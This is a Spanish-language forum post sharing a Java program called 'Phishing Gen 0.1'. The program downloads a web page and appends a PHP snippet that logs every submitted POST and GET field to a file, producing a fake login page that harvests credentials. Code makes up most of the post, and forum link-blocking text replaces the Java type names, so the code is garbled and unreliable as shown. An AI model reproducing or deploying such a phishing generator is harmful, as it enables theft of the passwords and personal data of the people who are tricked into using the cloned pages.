send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Java] Phishing Gen 0.1

  • 0 Respuestas
  • 1347 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Febrero 12, 2013, 02:06:20 pm »
Tratando de practicar este lenguaje hice este simple generador de fakes.

Código: Java
  1. //Phishing Gen 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.net.*;
  6. import java.io.*;
  7.  
  8. public class Main {
  9.  
  10.     public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[] args) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  11.  
  12.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login code;
  13.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login iny;
  14.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login pagina;
  15.  
  16.         Scanner host = new Scanner(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.in);
  17.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
  18.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("[+] Pagina : ");
  19.         pagina = host.nextLine();
  20.  
  21.         iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
  22.  
  23.         code = toma(pagina);
  24.  
  25.         savefile("fake.php", code + iny);
  26.  
  27.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n[+] Fake Ready");
  28.  
  29.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n\n-- == Coded By Doddy H == --\n\n");
  30.     }
  31.  
  32.     private static You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login toma(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  33.  
  34.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login re;
  35.  
  36.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login conte = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(40);
  37.  
  38.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login url = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(urla);
  39.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hc = url.openConnection();
  40.         hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  41.  
  42.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login nave = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(
  43.                 new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(hc.getInputStream()));
  44.  
  45.         while ((re = nave.readLine()) != null) {
  46.             conte.append(re);
  47.         }
  48.  
  49.         nave.close();
  50.  
  51.         return conte.toString();
  52.     }
  53.  
  54.     private static void savefile(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login nombre, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login texto) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  55.  
  56.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login writer = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(nombre, true);
  57.         writer.write(texto + "\r\n");
  58.         writer.close();
  59.  
  60.     }
  61. }
  62.  
  63. //The End ?
  64.  

 

¿Te gustó el post? COMPARTILO!



[Video Curso] Iniciacion a Java por DesarrolloWeb y EscuelaIT Mayo 2014

Iniciado por graphixx

Respuestas: 3
Vistas: 1379
Último mensaje Febrero 23, 2015, 10:13:28 am
por Hu3c0
Java Extremo [Video Cursos Completos] [Español] [ISO] 2009

Iniciado por graphixx

Respuestas: 9
Vistas: 4135
Último mensaje Diciembre 04, 2017, 02:36:34 am
por graphixx
Como compilar programas Java en la consola de comandos de Windows

Iniciado por tar3kw0rm3d

Respuestas: 2
Vistas: 2087
Último mensaje Junio 04, 2013, 02:55:07 pm
por tar3kw0rm3d
[LIBRO] Programación avanzada en Java - Sonia Jaramillo Valbuena

Iniciado por graphixx

Respuestas: 1
Vistas: 2308
Último mensaje Noviembre 07, 2017, 12:34:40 pm
por K0m0dr3x
[Java] Chat utilizando WebSockets con JavaEE y JavaFx

Iniciado por coke951

Respuestas: 3
Vistas: 2650
Último mensaje Diciembre 23, 2016, 10:23:24 pm
por coke951